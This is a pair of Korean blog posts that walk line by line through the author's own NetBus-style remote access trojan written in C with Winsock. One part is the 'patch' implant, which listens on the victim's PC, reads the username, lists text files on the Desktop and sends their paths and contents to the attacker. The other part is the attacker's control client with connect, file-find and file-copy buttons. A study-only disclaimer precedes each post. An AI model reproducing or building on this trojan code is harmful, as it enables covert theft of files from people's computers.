안녕하십니까 이번 포스팅에서는 감염자의 PC에서 쓰이는 패치의 코드를 한 번 살펴보겠습니다.

다만 앞 포스팅에서도 언급하였듯이 다음과 같은 주의사항을 꼭 숙지해주시기 바랍니다.

1. 이번에 소개할 프로그램은 악성기능이 내포되어 있으므로 마음대로 악용을 하지 않습니다.

2. 위 사항을 어겨 불이익을 받을 시 이 블로그는 책임을 지지 않습니다.

3. 악성행위의 목적이 아닌 공부 목적으로 제작한 것이므로 독자분들은 위의 주의사항을 숙지하시고 협조 부탁드립니다.

자 이제 코드를 하나씩 살펴봅시다.

- #include <winsock2.h>

  #include "resource.h"

  #pragma comment(lib, "Ws2_32.lib")

  #define WM_SOCKET WM_USER+1

  typedef struct SR_Str

 {

char str[100];

char str2[256];

char txtStrings[500][256];

int size;

char string[500000];


  }SR_String;

이 부분은 공격자(넷버스)의 코드랑 동일하므로 생략하겠습니다.

- LRESULT WINAPI WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);

윈도우 프로시저함수를 선언합니다.

- int _strcmp(char *str1);

  void txtfileSend(void);

  void txtfileCopy(void);

앞서 설명한 함수들을 선언합니다.

- SOCKET G_Socket,G_AcceptS;

클라이언트(공격자) 코드하고는 다르게 소켓 변수를 2개 선언합니다. 이유는 서버측(피해자)에서는 연결 요청을 받는 소켓과 연결을 할 소켓, 이렇게 2개의 소켓이 필요하기 때문입니다.

- SR_String G_String;

앞에서 정의한 구조체 변수를 선언합니다.

- int G_txtfileSend_i = 0;

  TCHAR G_PATH[500] = L"";

파일들의 경로를 찾을 때 그 경로를 저장할 TCHR형 전역변수와 파일 경로의 개수를 저장할 int형 전역변수를 선언합니다.

WinMain함수는 간단하니 생략하겠습니다. 바로 윈도우 프로시저 함수를 살펴봅시다.

- WSADATA socketdata = {0};

  struct sockaddr_in socketaddr = {0};

소켓통신에 필요한 변수들을 선언합니다. 이 부분은 넷버스랑 동일하니 설명은 생략하겠습니다.

- u_long Mode = 0;

ioctlsocket함수를 사용하기 위해 선언한 변수입니다.

- int soketsize,Recvstr;

accept함수 사용을 위한 soketsize변수와 recv함수로 받은 데이터 크기를 저장할 변수 Recvstr를 선언합니다.

- TCHAR user[256] = L"";

  DWORD usersize;

GetUserName함수를 사용하기 위해 선언한 변수입니다..

- switch (message)

case WM_CREATE:

WM_CREATE메세지를 받았을 때 아래의 코드를 수행합니다.

- GetUserName(user,&usersize);

GetUserName함수를 호출하여 현재 감염자의 사용자 계정 명을 구해서 user에 저장시킵니다.

- wsprintf(G_PATH,L"C:\\Users\\%s\\Desktop\\",user);

사용자 명을 이용하여 G_PATH변수에 바탕화면의 경로를 집어넣습니다.

- WSAStartup(MAKEWORD(2,2),&socketdata);

  G_Socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

winsock DLL을 초기화시키고 소켓을 생성합니다.

- socketaddr.sin_family = AF_INET;

  socketaddr.sin_addr.S_un.S_addr = htons(INADDR_ANY);

  socketaddr.sin_port = htons(12345);

socketaddr구조체의 각 멤버에 값을 넣습니다. 다만 이 소켓은 요청을 하는 소켓이 아닌 요청을 받는 소켓이기 때문에 S_addr멤버의 값에 htons(INADDR_ANY)값을 넣어줍니다. INADDR_ANY는 자기 자신의 ip주소를 자동으로 찾아주는 매크로 상수를 의미합니다.

추가로 INADDR_ANY 상수를 멤버값에 집어넣은 뒤 bind함수를 사용하면 각각 다른 ip에서 전송한 데이터를 이 소켓에서 받을 수가 있습니다.

- bind(G_Socket,(struct sockaddr *)&socketaddr,sizeof(socketaddr));

bind함수를 사용하여 G_Socket을 바인딩합니다. 즉 socketaddr구조체의 멤버변수 값을 이용하여 소켓에 주소와 포트번호를 등록한다는 것이지요. 공격자의 소켓하고는 다르게 이 프로그램은 요청을 받는 소켓을 만들어야 하기 때문에 bind함수를 써서 등록시키는 것입니다. 인자는 공격자(넷버스) 코드에 쓰인 Connect함수와 동일합니다.

- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,FD_ACCEPT);

WM_SOCKET메세지를 받아 FD_ACCEPT이벤트를 처리할 수 있도록 하기 위해WSAAsyncSelect함수를 호출합니다.

- listen(G_Socket,SOMAXCONN);

listen함수를 호출합니다. 이 함수를 자세히 살펴봅시다.

이 함수는 해당 소켓의 상태를 수신 상태로 만들어주는 역할을 합니다. 첫 번째 인자는 해당 소켓이며 두번 째 인자는 대기 큐의 크기값입니다.

대기큐라는 것은 여러 소켓으로부터 연결요청이 들어왔을 경우 순서대로 처리가 될대까지 서버가 만들어 놓은 대기실에서 대기를 하게 되는데 이 때 이 대기실을 대기 큐라고 합니다. 그리고 그 대기큐는 크기를 설정할 수 있는데 이 때 인자로 SOMAXCONN값을 받으면 대기큐는 지정할 수 있는 최대 크기로 만들어집니다.

아무튼 이 함수가 성공적으로 호출이 되면 해당 소켓은 듣기 상태인 LISTEN상태가 되어집니다.

- accept(G_Socket,NULL,NULL);

듣기 상태가 된 소켓을 인자로 받아 요청을 받는 함수인 accept함수를 호출합니다.앞에 호출한 WSAAsyncSelect함수에 의해 비블로킹 방식으로 지정된 소켓으로 accept함수를 호출하였으므로 나중에 연결요청을 받으면 WM_SOCKET메세지의FD_ACCEPT이벤트에서 처리를 하게 됩니다.

한가지 특이한 점이 있다면 첫번째 소켓을 제외한 나머지 인자값들은 NULL로 주었다는 점입니다. 왜냐하면 이 부분의 accept함수에서는 실제로 연결할 목적이 아닌 요청만을 받아들기 위해 사용하였기 때문에 따로 인자값을 주지 않았습니다. 그리고 나중에 실제로 요청이 들어왔을 경우 FD_ACCEPT이벤트에서 다시 accept함수를 호출하여 실제로 요청된 소켓과 연결합니다.

- case WM_SOCKET:

switch(WSAGETSELECTEVENT(lParam))

WM_SOCKET메세지를 받았을 때 이벤트에 따라 처리를 다르게 합니다.

- case FD_ACCEPT:

앞의 accept함수에 의해 요청을 받게 된 경우 아래의 코드를 수행합니다.

- soketsize = sizeof(socketaddr);

socketaddr구조체의 크기를 soketsize에 저장시킵니다.

- G_AcceptS = accept((SOCKET)wParam,(struct sockaddr *)&socketaddr,&soketsize);

요청이 들어온 소켓(wParam)과의 연결을 위해 다시 accept함수를 호출합니다. 인자는 소켓구조체의 포인터와 소켓구조체 크기의 포인터입니다.

함수가 성공적으로 호출되면 연결된 소켓은 G_AcceptS 소켓이 됩니다. 즉 앞의 G_Socket은 요청을 받기 위한 1차 소켓(LISTEN)이며 G_AcceptS 소켓은 실제로 연결된 소켓을 의미합니다. 그러므로 공격자와 서로 통신을 할 경우 G_AcceptS 소켓을 이용합니다.

- WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);

연결이 된 G_AcceptS소켓이 FD_READ와 FD_CLOSE 이벤트를 받을 수 있도록 설정합니다.

- case FD_READ:

WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,0);

ioctlsocket(G_AcceptS,FIONBIO,&Mode);

memset(&G_String,0,sizeof(G_String));

Recvstr = recv(G_AcceptS,(char *)&G_String,sizeof(G_String),MSG_WAITALL);

if(Recvstr < 0)

break;

클라이언트(공격자)로부터 데이터를 받았을 경우 위와 같이 코드를 수행합니다. 원리는 넷버스에서 설명한 것과 동일합니다.

- switch(_strcmp(G_String.str))

요청한 내용에 따라 처리를 다르게 해줍니다.

- case 0:

str멤버 변수의 값이 filefind - txt 일 경우 아래의 코드를 수행합니다.

- txtfileSend();

  strcpy(G_String.str,"filefind - txt");

  send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

txtfileSend함수를 호출하여 텍스트 파일들의 경로를 찾아 G_String의 멤버 변수에 저장시키고 str멤버변수에 filefind - txt값을 넣어 클라이언트(공격자)로 데이터를 전송합니다.

- GetUserName(user,&usersize);

  wsprintf(G_PATH,L"C:\\Users\\%s\\Desktop\\",user);

  G_txtfileSend_i = 0;

전송이 완료되면 G_PATH와 G_txtfileSend_i를 초기값으로 되돌립니다.

- case 1:

str멤버 변수의 값이 Capture 일 경우의 처리부문인데 아직 구현하진 않았습니다.

- case 2:

txtfileCopy();

str멤버 변수의 값이 filecopy - txt인 경우 txtfileCopy함수를 호출합니다.

- case 3:

str멤버 변수의 값이 filecopy - mallocComplete인 경우의 처리 부문인데 아직 구현하진 않았습니다.

- case 999:

그 외의 값이라면 아무런 처리를 하지 않습니다.

- WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);

하나의 메세지처리가 끝나면 다시 G_AcceptS를 비블로킹으로 전환시킵니다.

이상으로 patch 코드 포스팅을 마치겠습니다.

다음 포스팅에선 만든 넷버스와 patch프로그램을 한 번 사용해보겠습니다.

Posted by englishmath
,

안녕하십니까 이번 포스팅에서는 넷버스(공격자) 소스 코드를 포스팅하겠습니다.

다만 앞 포스팅에서도 언급하였듯이 다음과 같은 주의사항을 꼭 숙지해주시기 바랍니다.

1. 이번에 소개할 프로그램은 악성기능이 내포되어 있으므로 마음대로 악용을 하지 않습니다.

2. 위 사항을 어겨 불이익을 받을 시 이 블로그는 책임을 지지 않습니다.

3. 악성행위의 목적이 아닌 공부 목적으로 제작한 것이므로 독자분들은 위의 주의사항을 숙지하시고 협조 부탁드립니다.

자 이제 한 번 코드를 하나씩 살펴봅시다.

- #include <winsock2.h>

윈도우 소켓과 관련된 함수를 쓰기 위해 윈속 헤더파일을 선언합니다.

- #pragma comment(lib, "Ws2_32.lib")

소켓 관련 라이브러리인 Ws2_32.lib을 링커에 추가합니다.

- #define connectbutton 1

  #define filefindbutton 2

  #define capturebutton 3

  #define filecopybutton 4

넷버스에 쓰이는 버튼들의 ID를 define문으로 정의합니다.

#define WM_SOCKET WM_USER+1

소켓 관련 메세지를 받기 위해 WM_SOCKET이란 메세지를 WM_USER를 이용하여 정의합니다. 이 때 WM_USER은 사용자가 메세지를 정의할 때 사용하며 기본값은 400입니다. 즉 위의 WM_SOCKET을 디버깅으로 살펴보면 401로 정의되어집니다.

typedef struct SR_Str

{

char str[100];

char str2[256];

char txtStrings[500][256];

int size;

char string[500000];

}SR_String;

소켓 통신에 사용할 메세지를 구조체로 정의합니다. 각각 다른 메세지를 받아 통신을 함으로써 처리를 다양하게 해주기 위해 선언하였습니다.

각 멤버변수의 역할은 다음과 같습니다.

str1 -> 받은 명령을 구분할 때 사용합니다.

str2 -> 256 이하의 문자열을 처리할때 사용합니다.

txtStrings -> 파일들의 경로를 저장받기 위한 배열(최대 500개, 경로 문자열 제한은 256)입니다.

size -> 파일 크기를 받는 멤버인데 현재 코드에서는 직접적으로 사용하지 않습니다.

string -> 파일의 내용을 복사할 때 파일의 내용을 저장받기 위한 배열이며 최대 50만 바이트까지 저장할 수 있습니다.

- LRESULT WINAPI WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);

  BOOL WINAPI FilefindDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam);

  BOOL WINAPI FilecopyDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam);

윈도우 프로시저와 대화상자 프로시저를 선언합니다.

- void Sconnect(char *address,int port);

  int _strcmp(char *str1);

  void createTXT(char str[][256]);

  void copyTXT(void);

앞에서 설명드린 함수들을 선언합니다.

- HWND G_connectB,G_combobox,G_CResult,G_Port,G_findfile,G_Capture,G_fileCopy;

넷버스에 쓰인 버튼들의 핸들을 저장하기 위해 전역변수로 선언합니다.

- HWND G_Mainhwnd,G_filefindDlg,G_fileCopyDlg;

메인 윈도우의 핸들과 대화상자의 핸들들을 저장하기 위해 전역변수로 선언합니다.

- HINSTANCE G_hInstance;

WinMain의 HINSTANCE 인자값을 전역변수로 쓰기 위해 사용합니다. 

- SOCKET G_Socket;

소켓통신을 위해 소켓형 변수를 전역변수로 선언합니다.

- SR_String G_String;

앞에서 정의한 구조체를 전역변수로 선언합니다.

WinMain의 함수는 딱히 설명할 부분이 없으므로 그냥 생략하겠습니다. WndProc함수를 살펴봅시다.

- HDC hdc;

  PAINTSTRUCT ps;

WM_PAINT 메세지에서 코드사용을 위해 선언한 변수들입니다.

- int str_len,Recvstr;

유니코드를 멀티바이트로 변환하기 위한 str_len과 소켓 통신으로 인해 받은 데이터의 크기를 저장할 변수 Recvstr를 선언합니다.

- u_long Mode = 0;

ioctlsocket함수의 인자로 사용하기 위해 Mode란 변수를 선언과 동시에 0으로 값을 줍니다.

- TCHAR Wide_address[100] = L"",CResultStr[100] = L"", TCHAR Port_address[100] = L"";

유니코드로 읽어온 IP주소를 저장할 변수인 Wide_address와 통신의 결과를 출력할 때 쓰일 CResultStr변수, 그리고 유니코드로 읽어온 port값을 저장할 변수인 Port_address를 선언합니다.

- char Mult_address[100] = "";

멀티바이트로 변환한 IP주소를 저장할 변수를 선언합니다.

- case WM_CREATE:

윈도우에서 WM_CREATE메세지를 받았을 때 아래의 코드를 수행합니다.

- G_Mainhwnd = hWnd;

현재 핸들을 전역변수에 저장시킵니다.

- G_combobox = CreateWindow(L"combobox",NULL,WS_CHILD | WS_VISIBLE | WS_VSCROLL | CBS_DROPDOWN,210,10,150,100,hWnd,NULL,NULL,NULL);

IP주소를 입력받기 위해 콤보박스 윈도우를 생성합니다. 콤보박스 윈도우에 사용된 옵션은 다음과 같습니다.

WS_VSCROLL -> CBS_DROPDOWN옵션으로 생성된 버튼을 누를시 목록을 출력

CBS_DROPDOWN -> 콤보박스의 옆에 역삼각형 버튼을 생성

- G_connectB = CreateWindow(L"button",L"Connect",WS_CHILD | WS_VISIBLE,370,40,80,20,hWnd,(HMENU)connectbutton,NULL,NULL);

소켓통신을 시작한다는 명령을 받기 위한 Connect버튼을 생성합니다. 이때 ID는 define에서 정의한 값입니다.

- G_CResult = CreateWindow(L"static",L"NO connection",WS_CHILD | WS_VISIBLE,0,237,455,20,hWnd,NULL,NULL,NULL);

소켓 통신의 결과를 사용자에게 알려주기 위해 static윈도우를 생성합니다. 기본값은 NO connection입니다.

- G_Port = CreateWindow(L"edit",L"12345",WS_CHILD | WS_VISIBLE | WS_BORDER,400,10,50,20,hWnd,NULL,NULL,NULL);

포트주소를 입력받기 위해 콤보박스 윈도우를 생성합니다. 기본값은 12345입니다.

- G_findfile = CreateWindow(L"button",L"파일찾기",WS_CHILD | WS_VISIBLE,0,100,105,25,hWnd,(HMENU)filefindbutton,NULL,NULL);

  G_Capture = CreateWindow(L"button",L"화면캡쳐",WS_CHILD | WS_VISIBLE,0,130,105,25,hWnd,(HMENU)capturebutton,NULL,NULL);

  G_fileCopy = CreateWindow(L"button",L"파일복사",WS_CHILD | WS_VISIBLE,0,160,105,25,hWnd,(HMENU)filecopybutton,NULL,NULL);

감염자의 소켓에 명령을 내리기 위해 사용하는 버튼들을 생성합니다. 이 중 화면캡쳐는 구현하지 않았습니다.

- EnableWindow(G_findfile,FALSE);

  EnableWindow(G_Capture,FALSE);

  EnableWindow(G_fileCopy,FALSE);

모든 버튼들을 생성시킨 후 감염자의 소켓에 명령을 내리는 버튼들을 비활성화 시킵니다. 이 버튼들은 나중에 감염자와의 통신이 성공하면 활성화 됩니다.

- case WM_DESTROY:

PostQuitMessage(0);

윈도우 창이 파괴되면 프로그램을 종료합니다.

- case WM_COMMAND:

switch(LOWORD(wParam))

각각 버튼을 눌렀을 때의 처리입니다.

- case connectbutton:

감염자와 통신을 시도하기 위해 connectbutton을 눌렀을 경우 아래의 코드를 수행합니다.

- SendMessage(G_connectB,WM_GETTEXT,100,(LPARAM)&Wide_address);

G_connectB에 WM_GETTEXT메세지를 보내 현재 버튼에 적용된 텍스트를 가져와 Wide_address에 저장시킵니다.

- if(lstrcmp(Wide_address,L"Connect") == 0)

가져온 텍스트가 Connect일 경우 즉 사용자가 Connect가 적힌 connectbutton을 눌렀을 경우 아래의 코드를 수행합니다.

- EnableWindow(G_connectB,FALSE);

connectbutton을 비활성화시킵니다.

- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);

G_combobox로부터 IP주소를 가져와 Wide_address에 저장시킵니다.

- wsprintf(CResultStr,L"connecting to %s...",Wide_address);

Wide_address값을 이용하여 CResultStr배열에 connecting to %s...형식으로 문자열을 저장시킵니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"connecting");

connectbutton의 텍스트를 connecting으로 바꿉니다.

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);

G_CResult(static)컨트롤의 문자열을 CResultStr에 저장된 문자열로 수정합니다.

- str_len = WideCharToMultiByte(949,NULL,Wide_address,lstrlen(Wide_address),NULL,NULL,NULL,NULL);

 WideCharToMultiByte(949,NULL,Wide_address,lstrlen(Wide_address),Mult_address,str_len,NULL,NULL);

유니코드로 저장된 IP주소를 멀티바이트로 변환시켜 Mult_address에 저장합니다.

- SendMessage(G_Port,WM_GETTEXT,100,(LPARAM)Port_address);

G_Port로부터 입력된 포트번호를 가져와 Port_address에 저장시킵니다.

- Sconnect(Mult_address,_wtoi(Port_address));

Sconnect함수를 호출합니다. 이 때 인자는 멀티바이트로 변환된 IP주소와 포트번호입니다. 그런데 여기서 받은 포트번호는 유니코드 문자열이므로 이를 int형으로 바꿔주기 위해 _wtoi함수를 사용하였습니다.

- else

사용자가 connectbutton을 눌렀을 때의 connectbutton텍스트가 Connect가 아닐 경우 아래의 코드를 수행합니다. 즉 이부분은 공격자와 감염자의 연결을 끊는 부분입니다. 

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");

connectbutton의 텍스트를 원래 기본값인 Connect로 복구시킵니다.

- shutdown(G_Socket,SD_SEND);

연결된 소켓에 SD_SEND메세지를 보내 소켓의 연결을 끊습니다.

- closesocket(G_Socket);

  WSACleanup();

연결을 끊은 소켓을 종료하고 WSACleanup함수를 호출하여 WSAStartup함수 사용을 중지합니다. 

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)L"NO connection");

G_CResult의 문자열을 기본값인 NO connection으로 복구시킵니다.

- EnableWindow(G_findfile,FALSE);

  EnableWindow(G_Capture,FALSE);

  EnableWindow(G_fileCopy,FALSE);

감염자의 소켓에 명령을 보내는 버튼들을 비활성화합니다.

- case filefindbutton:

 DialogBox(G_hInstance,MAKEINTRESOURCE(IDD_DIALOG1),hWnd,FilefindDlgProc);

감염자의 PC에서 파일을 찾으라는 명령어를 보내기 위해 파일 찾기 버튼을 눌렀을 때해당 대화상자를 호출합니다. 다만 대화상자가 열린 상태에서 메인 윈도우를 조작할 수 없게 하기 위해 모달형 대화상자로 호출하였습니다.

모달형 대화상자를 호출하려면 DialogBox함수를 사용합니다.

- case capturebutton:

화면캡쳐 버튼을 눌렀을 경우의 처리부문인데 아직 구현하지 않았습니다.

- case filecopybutton:

DialogBox(G_hInstance,MAKEINTRESOURCE(IDD_DIALOG2),hWnd,FilecopyDlgProc);

찾은 파일 경로를 이용하여 파일을 복사시키라는 명령어를 보내기 위해 파일 복사 버튼을 눌렀을 때 해당 대화상자를 모달형으로 호출합니다.

- case WM_SOCKET:

소켓 관련 이벤트를 받았을 때 윈도우는 앞의 WSAAsyncSelect함수에 의해 WM_SOCKET메세지를 발생시키게 됩니다. 이 때 아래의 코드를 수행합니다.

- switch(WSAGETSELECTEVENT(lParam))

lParam값을 WSAGETSELECTEVENT함수를 사용해 이벤트를 추출하고 그 이벤트에 따라 각각의 코드가 수행됩니다.

추가로 설명드리자면 WM_SCOKET메세지를 받았을 경우 wParam은 해당 이벤트가 발생한 소켓을 나타내며 lParam은 발생한 소켓의 이벤트 혹은 에러메세지를 나타냅니다. 

- case FD_CONNECT:

FD_CONNECT이벤트가 발생했을 경우 아래의 코드를 수행합니다. FD_CONNECT이벤트는 서버로 연결을 시도했을 때 발생하는 이벤트입니다.

- if(WSAGETSELECTERROR(lParam) == 0)

이번엔 WSAGETSELECTERROR함수를 사용하여 lParam에서 에러를 추출합니다. 만약 아무런 에러가 발생하지 않았다면 해당 소켓이 성공적으로 서버에 연결된 것을 의미하며 아래의 코드를 수행합니다. 

- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);

G_combobox컨트롤에서 사용자가 입력한 IP주소 값을 읽어와 Wide_address에 저장시킵니다.

- wsprintf(CResultStr,L"Connected to %s",Wide_address);

Wide_address값을 이용하여 CResultStr배열에 Connected to %s 형식으로 저장시킵니다.

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);

G_CResult 컨트롤에 문자열을 새로 출력함으로써 연결이 성공적으로 되었다는 것을 사용자에게 알립니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Cancel");

  EnableWindow(G_connectB,TRUE);

연결이 성공적으로 완료되었으므로 G_connectB의 버튼의 텍스트를 Connecting에서 Cancel로 바꾼 후 버튼을 활성화 시킵니다.

- EnableWindow(G_findfile,TRUE);

  EnableWindow(G_Capture,TRUE);

  EnableWindow(G_fileCopy,TRUE);

감염자와의 연결이 성공적으로 되었으므로 명령을 내릴 수 있도록 버튼들을 활성화시킵니다.

- else

WSAGETSELECTERROR함수를 사용해 추출한 에러값이 0이 아닐 경우에는 소켓 연결이 실패했다는 것을 의미합니다. 이 때에는 아래의 코드를 수행합니다.

- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);

  wsprintf(CResultStr,L"Couldn't connect to %s",Wide_address);

IP주소를 가져와 CResultStr에 Couldn't connect to %s 형식으로 문자열을 넣습니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");

  EnableWindow(G_connectB,TRUE);

연결이 실패했으므로 Connecting텍스트가 적힌 버튼을 초기값인 Connect로 수정하고 활성화시킵니다.

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);

  closesocket(G_Socket);

  WSACleanup();

사용자에게 연결이 실패했다는 것을 알리고 소켓 사용을 종료합니다.

- case FD_READ:

이번엔 FD_READ 이벤트를 받았을 때의 처리입니다. FD_READ는 상대방의 소켓으로부터 데이터를 받았을 때 발생하는 메세지입니다. 이 때에는 아래의 코드를 수행합니다.

- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,0);

WSAAsyncSelect함수를 다시 호출합니다. 이 때 마지막 인자의 값을 0으로 주어 앞에서 호출한 WSAAsyncSelect함수를 중지시킵니다. 이러한 작업을 해주는 이유는 바로 다음코드에 ioctlsocket함수를 호출하기 위해서입니다.

- ioctlsocket(G_Socket,FIONBIO,&Mode);

ioctlsocket함수를 호출합니다. ioctlsocket함수를 살펴봅시다.

해당 소켓의 입출력모드를 제어하는 함수라고 되어있습니다. 쉽게 얘기하면 소켓의 동작 방식을 지정해주는 함수라고 보시면 됩니다.

기본적으로 소켓은 블로킹 방식 혹은 비블로킹 방식으로 작동합니다. 간단하게 두 방식의 특징을 살펴봅시다.

먼저 블로킹 방식이란 소켓으로 통신을 시도할 때 다른 작업을 할 수 없도록 하는 방식입니다. 예를 들면 소켓이 통신을 시도하고 있는 중이라면 메인 윈도우의 닫기 작업을 수행할 수 없다는 것이지요. 즉 스레드가 대기상태가 되버립니다.

반대로 비블로킹 방식은 소켓이 통신을 시도할 때 다른 작업을 할 수 있도록 하는 방식입니다. 그리고 이 방식은 WSAAsyncSelect함수를 호출할 때 자동으로 소켓에 지정되는 방식입니다.

자 그렇다면 ioctlsocket함수는 무엇일까요? 이 함수는 소켓을 블로킹모드 혹은 비블로킹모드로 설정해주는 함수라고 보시면 됩니다. 두 번째 인자에서 FIONBIO값을 주면 해당 소켓의 동작 방식을 바꿀수가 있으며 세번째 인자의 값이 0이면 블로킹모드, 0이 아니면 비블로킹모드로 바꿔집니다. 다만 세번째 인자는 포인터값을 받으므로 0값이 저장된 변수를 선언하여 그 변수의 포인터값을 인자로 주었습니다. 

그리고 이 함수는 좀 특별한 특징을 가지고 있는데 그 특징은 다음과 같습니다.

1. WSAAsyncSelect함수나 WSAEventSelect함수가 호출 된 후 시도하는 모든     ioctlsocket함수는 실패합니다.

2. 1번의 문제를 해결할려면 WSAAsyncSelect함수의 네번째 인자를 0으로 준 뒤 한 번 더 호출한 후 ioctlsocket함수를 호출하여야합니다.

얘기가 조금 길어졌습니다만 최종적으로 정리하면 이 코드는 해당 소켓을 블로킹모드로 바꾸어주는 역할을 합니다. 왜 소켓을 블로킹 모드로 바꾸는지는 recv함수에서 설명드리겠습니다.

- memset(&G_String,0,sizeof(G_String));

앞에서 선언한 구조체를 초기화시킵니다.

- Recvstr = recv(G_Socket,(char *)&G_String,sizeof(G_String),MSG_WAITALL);

recv함수를 사용하여 해당 소켓이 받은 데이터를 읽습니다. 이 recv함수를 살펴봅시다.

말그대로 소켓에 들어온 데이터를 받는 함수입니다. 즉 상대방 측에서 send함수를 사용하여 소켓에 데이터를 보내면 받는 쪽에서는 recv함수를 사용하여 데이터를 받는 것입니다. 이 때 받은 데이터를 저장하는 변수는 2번째 인자이며 char형으로 받습니다. 세번째 인자는 2번째 인자의 크기이며 네번째 인자는 관련된 옵션을 지정해 줄 수가 있습니다.

여기서 중요한 것은 2번째 인자가 char형이라서 char형 변수만 인자로 쓸수 있는 것은 아니라 구조체 같은 변수도 강제형변환을 해서 받을 수가 있습니다. 다만 이 경우에는 보내는 쪽에서도 같은 구조체 형식으로 데이터를 보내야 합니다. 우리는 이 방식을 이용해 통신을 할 것입니다.

또 하나를 더 살펴봐야 할 부분이 있는데 그것은 네번째 인자의 MSG_WAITALL값입니다. 이 값을 설명하기 전에 TCP 통신의 특징을 한 번 살펴봅시다.

보통 TCP 소켓 통신은 스트림으로 이루어집니다. 이 때 스트림의 특징은 경계가 없다는 것인데 이게 문제가 되는 것이 뭐냐면 송신자 측에서 수신자 측으로 10바이트의 데이터를 보낸다면 수신자측에서는 10바이트 데이터를 한번에 받을 수도 있고 못받을 수도 있다는 것이지요.

10 바이트 전송 -> 10 바이트 받음

10 바이트 전송 -> 5 바이트 받음 -> 5바이트 받음

10 바이트 전송 -> 1 바이트 받음 -> 9바이트 받음

이런 식이 된다는 뜻입니다. 경계가 없기 때문에 데이터를 얼만큼 받아야 하는지 모르는 것이지요.  이를 프로그래밍으로 다시 한번 살펴본다면

send(10바이트) -> recv(10바이트)

send(10바이트) -> recv(5바이트) -> recv(5바이트)

send(10바이트) -> recv(1바이트) -> recv(9바이트) 

가 되겠군요. 그래서 보통은 반복문을 사용하여 데이터를 다 받을 때까지 recv를 호출할 수 있도록 프로그래밍을 하지만 우리는 구조체를 이용해 통신을 하기 때문에 이런 방법도 통하지 않습니다. 이 때 필요한 것이 바로 recv 네번째 인자의 옵션인 MSG_WAITALL입니다.

이 MSG_WAITALL 옵션은 데이터를 MSDN에도 설명이 나와있습니다만 간단히 설명드리자면 recv함수를 호출할 때 제공한 버퍼의 데이터가 꽉 찼을 경우에만 recv 함수가 완료되도록 하는 기능입니다. 지금의 우리에게 필요한 기능이지요. 다만 이 옵션을 사용할려면 해당 소켓의 모드가 블로킹방식이어야 합니다. 그래서 우리는 이 옵션을 사용하기 위해 앞의 ioctlsocket함수를 호출하여 소켓을 블로킹모드로 지정한 것입니다.

설명이 길어졌군요. 다음 코드를 살펴봅시다.

- if(Recvstr < 0)

break;

recv함수로 받은 데이터의 크기값이 0보다 작을 경우 에러가 발생한 것이므로 switch문을 탈출합니다.

- switch(_strcmp(G_String.str))

데이터를 받았으므로 그 데이터에 따라 처리를 다르게 해주기 위해 switch문을 사용하였습니다. 이 때 구분하는 값은 G_String의 str멤버변수를 인자로 받는 _strcmp함수의 반환값입니다.

- case 0:

createTXT(G_String.txtStrings);

G_String.str의 문자열이 "filefind - txt" 인 경우 createTXT함수를 호출합니다. 이 때 인자는 감염자의 PC로부터 가져온 텍스트 파일들의 경로입니다.

- case 1:

G_String.str의 문자열이 "filecopy - getTXTsize" 인 경우의 처리부문이지만 아직 구현하진 않았습니다. 

- case 2:

copyTXT();

G_String.str의 문자열이 "filecopy - txtcopycomplete" 인 경우 copyTXT함수를 호출합니다.

- case 3:

      MessageBox(G_fileCopyDlg,L"파일의 크기가 0 혹은 너무 커 복사가 불가능합니다.",L"파일 복사 실패",MB_OK);

EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

G_String.str의 문자열이 "filecopy - sizeError" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.

- case 4:

MessageBox(G_fileCopyDlg,L"해당 파일이 삭제되었거나 파일경로가 잘못되었습니다.",L"파일 복사 실패",MB_OK);

EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

G_String.str의 문자열이 "filecopy - txtnotfound" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.

- case 5:

MessageBox(G_fileCopyDlg,L"해당 파일의 접근이 거부되었습니다.",L"파일 복사 실패",MB_OK);

EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

G_String.str의 문자열이 "filecopy - ACCESS_DENIED" 인 경우 사용자에게 에러가 생겼음을 알리고 관련된 버튼을 활성화시킵니다.

- case 999:

그 외의 메세지인 경우 아무런 처리를 하지 않습니다.

- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);

받은 메세지를 다 처리한 경우 다시 이벤트를 받기 위해 WSAAsyncSelect함수를 호출합니다. 이 때 소켓은 다시 비블로킹 동작으로 지정됩니다.

- case FD_CLOSE:

FD_CLOSE 이벤트를 받았을 경우 아래의 코드를 수행합니다. FD_CLOSE 이벤트는 서버와의 연결이 끊겼을 때 발생하는 이벤트입니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");

  SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)L"NO connection");

G_connectB버튼과 결과창의 텍스트를 초기화시킵니다.

- closesocket(G_Socket);

  WSACleanup();

  EnableWindow(G_findfile,FALSE);

